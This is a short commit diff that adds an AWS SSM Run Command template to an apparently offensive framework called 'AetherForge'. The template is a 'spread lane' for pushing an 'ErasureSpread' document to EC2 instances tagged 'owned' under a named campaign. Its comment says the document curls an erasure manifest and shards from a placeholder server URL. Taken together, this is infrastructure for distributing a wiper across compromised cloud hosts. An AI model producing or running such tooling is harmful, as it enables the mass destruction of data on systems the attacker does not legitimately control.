Add ssm_document spread lane for owned EC2 via SSM Run Command.

templates/spread/ssm/run-command.json

@@ -0,0 +1,7 @@
+{
+  "DocumentName": "AetherForge-ErasureSpread-{{BUILD_ID}}",
+  "DocumentVersion": "$LATEST",
+  "Targets": [{ "Key": "tag:AetherForge", "Values": ["owned"] }],
+  "Parameters": { "Campaign": ["{{CAMPAIGN}}"] },
+  "Comment": "AetherForge ssm_document lane — curl erasure manifest/shards from {{SERVER_URL}}"
+}